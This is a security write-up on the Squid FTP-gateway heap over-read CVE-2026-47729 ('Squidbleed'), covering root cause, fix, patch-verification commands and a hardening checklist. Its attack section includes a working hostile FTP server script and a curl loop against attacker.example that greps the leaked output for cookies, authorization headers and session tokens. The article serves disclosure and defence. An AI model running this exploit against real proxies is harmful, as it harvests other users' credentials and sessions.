
Executive Summary
Squid is one of the most widely deployed caching/forward proxies on the internet — it sits in schools, enterprises, public Wi-Fi gateways, and a long tail of embedded appliances. CVE-2026-47729, nicknamed Squidbleed, is a heap buffer over-read (CWE-125) in Squid’s FTP gateway. The flaw lives in the directory-listing parser, which calls strchr() on data received from an FTP server without first guaranteeing the buffer is NUL-terminated. A maliciously crafted or deliberately truncated listing makes the scan run off the end of the allocation and into adjacent heap memory.
That adjacent memory frequently holds other clients’ in-flight HTTP request data. The over-read bytes are folded back into the response the attacker receives, so an authorized proxy user can repeatedly harvest fragments of other users’ cleartext traffic — credentials, cookies, and session tokens — and reassemble them across many requests. The truly uncomfortable detail: the offending parser pattern dates back to a commit from January 1997, meaning the bug has been latent in security-relevant code for roughly 29 years. This article breaks down the root cause, walks through the exploitation primitive with illustrative code, and explains why “we’re patched” depends on the actual guard in FtpGateway.cc rather than the version string printed by squid -v.
Vulnerability at a Glance
| Field | Value |
|---|---|
| CVE ID | CVE-2026-47729 |
| Nickname | Squidbleed |
| Vulnerability class | Heap buffer over-read — CWE-125 (Out-of-Bounds Read) |
| Affected component | Squid caching proxy, FTP gateway / directory-listing parser (FtpGateway.cc) |
| Root cause | Missing NUL-terminator check before strchr() on attacker-influenced FTP data |
| Origin | Parser routine introduced ~January 1997 (≈29 years latent) |
| Attacker position | Authorized / trusted proxy client |
| Precondition | FTP handling enabled (default) and the proxy can reach an attacker-controlled FTP server on tcp/21 |
| Impact | Leaks fragments of other users’ in-flight cleartext HTTP requests: credentials, cookies, session tokens |
| CVSS | Not officially scored at time of disclosure |
| Exploit status | Public PoC available; reliable in lab; no confirmed in-the-wild use as of late June 2026 |
| Fixed in | Squid 7.7 — verify the guard, not the version string |
Why a 29-Year-Old Bug Still Matters
Squid’s whole job is to sit in the middle of other people’s traffic. In a single shared instance, dozens or thousands of users’ requests pass through the same process, allocated out of the same heap. That is exactly the property that turns a humble out-of-bounds read into a cross-tenant data-disclosure problem: the memory next to the attacker’s buffer is not random noise — it is very often someone else’s request line, headers, or POST body.
There is an important nuance about what is and is not exposed:
- Plain HTTP (port 80) through the proxy — the full request, including
Authorizationheaders, cookies, and form data, lives in proxy memory as cleartext. This is squarely in scope. - TLS-terminating / intercepting deployments (SSL-bump) — if Squid decrypts HTTPS, the decrypted plaintext is in the heap too, and is just as leakable.
- Ordinary HTTPS via
CONNECT— here Squid only shuttles an opaque encrypted tunnel; it never sees the plaintext, so those bytes are far less interesting to the attacker.
In other words, the deployments most likely to be hurt are precisely the common ones: multi-user proxies that still carry cleartext HTTP, and security-conscious shops doing TLS inspection.
Technical Analysis: The Root Cause
When Squid fetches an ftp:// URL that points at a directory, it issues a LIST command and parses the server’s reply line by line to build the HTML index it returns to the browser. The C standard library function strchr(s, c) scans memory starting at s and walks forward until it finds either the byte c or a terminating NUL (\0). It has no length argument. If the buffer it is handed is not guaranteed to contain a NUL within the bytes the server actually sent, the scan keeps reading into whatever is allocated next.
The Squid parser took a line of FTP listing data and immediately reached for delimiters with strchr() without first ensuring the line was NUL-terminated inside the received region. The snippet below is an illustrative reconstruction of the dangerous pattern (it is not the verbatim Squid source) — the point is the shape of the bug, not the exact surrounding code:
/* Illustrative reconstruction of the vulnerable pattern.
* `line` points into a heap buffer holding bytes copied verbatim
* from the FTP server's LIST response. The parser assumes each
* line is a NUL-terminated C string -- but nothing guarantees a
* NUL actually exists within the bytes the server sent.
*/
static void ftp_list_parse_line(char *line)
{
char *sep;
/* BUG: strchr() has no bound. If `line` is not NUL-terminated
* within the received data, the scan runs past the end of the
* allocation and into adjacent heap memory until it happens to
* hit a ' ' or a stray 0x00 byte somewhere downstream. */
sep = strchr(line, ' ');
if (!sep)
return;
*sep = '\0'; /* tokenize: split "perms owner ... name" */
/* ... copy the "name" field into the rendered directory index,
* which is ultimately handed back to the requesting client ... */
emit_dir_entry(line, sep + 1);
}
The fix is almost insultingly small: confirm the buffer is bounded/terminated before scanning it. Conceptually it is a one-line guard — replace the unbounded scan with a length-aware one, or verify a NUL is present in the received span first:
/* Illustrative fix: never scan beyond the bytes we actually received. */
static void ftp_list_parse_line(char *line, size_t len)
{
/* memchr() is bounded: it stops after `len` bytes no matter what. */
char *sep = memchr(line, ' ', len);
if (!sep)
return;
*sep = '\0';
emit_dir_entry(line, sep + 1);
}
That is the entire substance of the patch: swap an unbounded strchr() for a bounded scan that respects the number of bytes the FTP peer actually delivered. The bug is not exotic — it is the single most classic C string-handling mistake, hiding in a code path that has shipped continuously since 1997.
Heap Over-Read Mechanics: Why Other People’s Requests Leak
To see why the leaked bytes are valuable, picture the proxy’s heap while it is busy. Squid is servicing many connections at once, and each in-flight HTTP request has its own buffer. The allocator hands out chunks that frequently sit next to one another. When the attacker’s short, un-terminated FTP line is parsed, strchr() walks forward out of the attacker’s chunk and straight into the neighbouring chunk:
heap (growing addresses) ─────────────────────────────────────────▶
┌─────────────────────────┐┌──────────────────────────────────────┐
│ attacker's FTP line buf ││ VICTIM's in-flight HTTP request buf │
│ "drwxr-xr-x 2 us" ││ "GET /app HTTP/1.1\r\n" │
│ ^ ││ "Cookie: session=eyJhbGciOi...\r\n" │
│ └ strchr(line,' ') ────┼┼──▶ keeps reading, no NUL in sight ──▶ │
└─────────────────────────┘└──────────────────────────────────────┘
└────── leaked back to attacker ───────┘
Because the parser then treats everything up to the first space (or stray NUL) as a “field” and renders it into the directory index returned to the requester, those neighbouring victim bytes ride back out to the attacker inside the HTML listing. Each individual read is a small, partly-random slice — but the attacker controls the trigger and can repeat it thousands of times, sweeping different heap states and stitching the fragments together offline. This is the same playbook as Heartbleed, which is exactly what the “-bleed” nickname is signalling.
Building the Attack
The exploitation primitive is refreshingly low-effort. The attacker needs only two things: an authorized account on the proxy (the whole premise is a trusted insider or any tenant of a shared proxy), and an FTP server they control that the proxy is willing to connect to on tcp/21. The recipe:
- Stand up a hostile FTP server that answers
LISTwith a deliberately truncated directory line — no trailing newline, no NUL, just enough bytes to start the parse and then stop. - Make the proxy fetch an
ftp://URL on that server (e.g.curl -x http://proxy:3128 ftp://attacker.example/). - Each fetch triggers the over-read; the rendered listing comes back carrying a slice of adjacent heap.
- Loop. Diff the responses, grep for
Cookie:,Authorization:,Set-Cookie:, and token-shaped strings, and reassemble.
The following minimal Python server is an illustrative stand-in for the hostile FTP endpoint. It is intentionally incomplete — it shows the one behaviour that matters, returning a LIST payload with no terminating newline so the downstream parser has nothing clean to stop on:
#!/usr/bin/env python3
# Illustrative hostile FTP server for Squidbleed (CVE-2026-47729).
# Educational PoC scaffold -- demonstrates the *trigger*, not a weaponized leak.
# Use only against systems you are authorized to test.
import socket, threading
CTRL_PORT = 21
DATA_PORT = 2121 # passive-mode data channel we advertise
# A truncated listing line: starts a record, then abruptly ends.
# No trailing CRLF, no NUL -- the parser's strchr() has nothing to stop on.
TRUNCATED_LISTING = b"drwxr-xr-x 2 us" # note: no "\r\n"
def handle_data(conn):
# Hand the proxy our malformed listing and close immediately.
conn.sendall(TRUNCATED_LISTING)
conn.close()
def data_listener():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", DATA_PORT))
s.listen(5)
while True:
conn, _ = s.accept()
threading.Thread(target=handle_data, args=(conn,), daemon=True).start()
def handle_ctrl(conn):
p_hi, p_lo = DATA_PORT >> 8, DATA_PORT & 0xff
conn.sendall(b"220 evil-ftp ready\r\n")
while True:
data = conn.recv(1024)
if not data:
break
cmd = data.decode(errors="ignore").strip().upper()
if cmd.startswith("USER"):
conn.sendall(b"331 user ok\r\n")
elif cmd.startswith("PASS"):
conn.sendall(b"230 logged in\r\n")
elif cmd.startswith("TYPE"):
conn.sendall(b"200 type set\r\n")
elif cmd.startswith("PASV"):
# Advertise our data port: 127,0,0,1,p_hi,p_lo
conn.sendall(
f"227 Entering Passive Mode (127,0,0,1,{p_hi},{p_lo})\r\n".encode()
)
elif cmd.startswith(("LIST", "NLST")):
conn.sendall(b"150 here comes the listing\r\n")
# data channel delivers TRUNCATED_LISTING, then:
conn.sendall(b"226 transfer complete\r\n")
elif cmd.startswith("QUIT"):
conn.sendall(b"221 bye\r\n")
break
else:
conn.sendall(b"200 ok\r\n")
conn.close()
def main():
threading.Thread(target=data_listener, daemon=True).start()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", CTRL_PORT))
s.listen(5)
print(f"[*] hostile FTP control on :{CTRL_PORT}, data on :{DATA_PORT}")
while True:
conn, addr = s.accept()
print(f"[+] proxy connected from {addr}")
threading.Thread(target=handle_ctrl, args=(conn,), daemon=True).start()
if __name__ == "__main__":
main()
Driving the proxy against it is a one-liner, repeated in a loop to sweep heap states:
# Force the proxy to fetch a directory listing from the hostile FTP server,
# over and over, and watch for neighbouring-request bytes in the output.
for i in $(seq 1 5000); do
curl -s -x http://proxy.internal:3128 ftp://attacker.example/ >> loot.html
done
grep -aoE 'Cookie:[^\r\n]+|Authorization:[^\r\n]+|session=[A-Za-z0-9._-]+' loot.html | sort -u
Demonstrating the Bug Class in Isolation
If you want to feel the over-read without a full Squid build, the minimal C program below reproduces the exact class of mistake under AddressSanitizer. It allocates a small heap buffer, fills it with non-terminated data, and lets strchr() wander off the end:
/* over_read.c -- compile with: gcc -fsanitize=address -g over_read.c -o over_read
* Demonstrates the unbounded-strchr heap over-read at the heart of Squidbleed. */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
/* A 16-byte chunk filled with a listing fragment -- and NO NUL byte. */
char *line = malloc(16);
memcpy(line, "drwxr-xr-x 2 usr", 16); /* exactly 16 bytes, unterminated */
/* strchr has no bound: if the first ' ' were absent it would read past
* the allocation. Force the issue by searching for a byte that is not
* present, so the scan must run off the end of the chunk. */
char *p = strchr(line, '\x01'); /* 0x01 is not in the buffer */
printf("found at offset: %ld\n", p ? (p - line) : -1);
free(line);
return 0;
}
Under ASan this reports a heap-buffer-overflow READ the moment strchr() steps past byte 16 — the same primitive Squid exposes to a remote FTP peer, except in Squid the bytes past the boundary belong to another user’s live request.
What Gets Leaked
The loot is whatever happened to be adjacent in the heap at trigger time, but in a busy proxy that skews heavily toward request-shaped data:
- Session cookies —
Cookie:/Set-Cookie:values that are directly replayable for account takeover. - Authorization headers — HTTP Basic credentials and bearer/API tokens.
- Request lines & bodies — URLs with sensitive query parameters, and POST form data such as login submissions.
- Internal endpoints — hostnames and paths that aid further lateral movement.
Because the attacker controls the cadence, this is not a one-shot peek — it is a slow, repeatable credential-harvesting channel against everyone who shares the proxy.
Don’t Confuse the Fix Versions
This is the part that trips people up, so read carefully. The timeline of the one-line fix is messy:
- The NUL-terminator guard was merged to the development branch around April 2026, then to the v7 branch around May 2026.
- Maintainer Amos Jeffries initially indicated the fix landed in Squid 7.6, then later corrected that to Squid 7.7.
- Debian’s Salvatore Bonaccorso noted the referenced commit appears present in 7.6, adding to the confusion.
- Distribution packages lag badly — Debian stable, for instance, still ships a Squid 5.x line, so the upstream version number tells you little about what your distro actually built.
The safe posture is to stop trusting version strings and instead confirm the guard is physically present in your build’s FtpGateway.cc (or the binary). A source-level check looks like this:
# If you build from source or have the tree, confirm the bounded scan is present.
# A patched parser uses a length-aware search instead of bare strchr() on
# server-controlled listing data.
grep -nE 'memchr|n?strn?chr|isspace' src/clients/FtpGateway.cc
# Belt-and-braces: which Squid is actually running, and was FTP compiled in?
squid -v | tr ' ' '\n' | grep -iE 'version|ftp'
# Don't infer from the package version alone -- distros backport silently.
dpkg -l 'squid*' 2>/dev/null || rpm -qa | grep -i squid
Do not assume shared infrastructure isolates its tenants, and verify that a patch is truly present rather than inferring it from a version string.
Defensive takeaway, “The Bigger Picture”
One more landmine: Squid 7.6 also carries an unrelated security fix, CVE-2026-50012 (a heap-based buffer overflow in cache-digest reply handling). Do not let the presence of that fix in 7.6 fool you into thinking Squidbleed is handled there. They are different bugs.
The Bigger Picture: AI-Assisted Discovery of Decades-Old Bugs
Squidbleed was surfaced by researchers at Calif.io, reportedly with assistance from an AI model — part of a 2026 trend of AI-assisted review pulling quiet memory-safety bugs out of decades-old C/C++ codebases that survived years of human auditing. The lesson is uncomfortable but clear: age and audit history are not safety guarantees. A trivial parser oversight sat in a security-critical path for 29 years precisely because it was boring — the kind of thing human reviewers skim past and automated scanners with the right model now flag. Expect more of these as AI-assisted variant hunting reaches old, widely-deployed infrastructure software.
Key Takeaways
- Squidbleed (CVE-2026-47729) is a heap over-read in Squid’s FTP gateway caused by an unbounded
strchr()on un-terminated FTP listing data. - The bug has been latent since a January 1997 commit — roughly 29 years.
- An authorized proxy user plus a hostile FTP server is the entire precondition; FTP is enabled by default.
- It leaks other users’ cleartext HTTP — cookies, auth headers, tokens — from adjacent heap, Heartbleed-style.
- Plain HTTP and TLS-terminating (SSL-bump) setups are exposed; opaque
CONNECTtunnels are not. - “Patched” means the guard in
FtpGateway.cc, not the version number. 7.6 vs 7.7 confusion is real; distro backports make version strings unreliable.
Hardening Checklist
- Disable FTP handling unless you have a specific, unusual need for it. This removes the attack vector outright and is the researchers’ primary recommendation.
- Patch to a build that actually contains the fix (Squid 7.7 upstream) and verify the NUL-terminator guard is present in
FtpGateway.ccrather than trusting the version string; account for distribution backports. - Block outbound FTP at the proxy’s egress so it cannot reach arbitrary external FTP servers on tcp/21 — this denies the attacker the malicious-listing step even on an unpatched build.
- Rotate exposed secrets in multi-user or TLS-intercepting deployments; treat credentials and session tokens that have traversed the proxy as potentially leaked.
- Monitor proxy logs for repeated FTP directory-listing fetches to unusual or attacker-like external FTP servers — that access pattern is the tell.
- Minimize attack surface generally — turn off protocols and gateways (FTP, Gopher, etc.) you do not actually use.
- Segment shared proxies — do not assume one Squid instance safely isolates mutually-untrusted tenants.
Conclusion
Squidbleed is a textbook reminder that the oldest, most boring C string bug — reaching for a delimiter without bounding the search — becomes a serious cross-tenant disclosure flaw when it lives inside software whose entire purpose is to handle everyone’s traffic. The fix is one line; the operational hard part is confirming you actually have it, given a tangle of version-number corrections and silent distro backports. If you run a multi-user Squid proxy with FTP enabled, the cleanest immediate move is to disable FTP, then patch to a build that genuinely contains the guard and verify it in FtpGateway.cc. And expect the broader pattern to continue: AI-assisted review is now methodically excavating decades-old memory-safety bugs from the infrastructure we all quietly depend on.
Original text: “Squidbleed: A 29-Year-Old Heap Over-Read Leaks Cleartext HTTP in Squid (CVE-2026-47729)” at Dark Web Informer. Vulnerability research credited to Calif.io. Code samples in this article are original, illustrative reconstructions of the bug class.

